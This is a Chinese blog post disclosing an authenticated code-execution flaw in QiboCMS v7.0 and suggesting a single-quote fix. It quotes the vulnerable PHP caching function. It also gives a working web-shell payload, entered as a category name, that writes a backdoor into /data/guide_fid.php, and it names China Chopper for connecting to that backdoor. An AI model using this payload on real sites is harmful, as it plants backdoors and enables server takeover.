齐博cmsv7.0后台getshell

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/vspiders/article/details/79825603

前言
预测下,VG要夺冠。加油


0x01 漏洞分析
此漏洞比较鸡肋,需要后台权限。漏洞原理很简单,这里就简单分析一下。
漏洞出现在:inc/class.inc.php中的GuideFidCache函数里

    /*导航条缓存*/
    function GuideFidCache($table,$filename="guide_fid.php",$TruePath=0){
        global $db,$webdb,$pre;
        if($table=="{$pre}sort"&&$webdb[sortNUM]>500){
            return ;
        }
        $show="<?php \r\n";
        //$showindex="<a href='javascript:guide_link(0);' class='guide_menu'>>首页</a>";
        $showindex="<a href='\$webdb[www_url]' class='guide_menu'>>首页</a>";
        $query=$db->query("SELECT fid,name FROM $table ");
        // 带双引号写入变量,并且未过滤。
        while( @extract($db->fetch_array($query)) ){
            $show.="\$GuideFid[$fid]=\"$showindex".$this->SortFather($table,$fid)."\";\r\n";
        }
        $show.=$shows.'?>';
        if($TruePath==1){
            write_file($filename,$show);
        }else{
            write_file(ROOT_PATH."data/$filename",$show);
        }
    }

这个函数主要是将导航条信息写入缓存文件guide_fid.php文件中,但是写入变量使用双引号,因此可以直接构造变量远程执行代码,比如${phpinfo()}。
写入文件成功后,就可以直接访问该文件即可。
0x02 漏洞利用
漏洞利用更为简单,登陆后台增加栏目为${assert($_POST[a])},后门直接写入/data/guide_fid.php文件中,菜刀连之即可。
1.png
2.png
0x03 修复建议
$show变量拼接时使用单引号。


阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页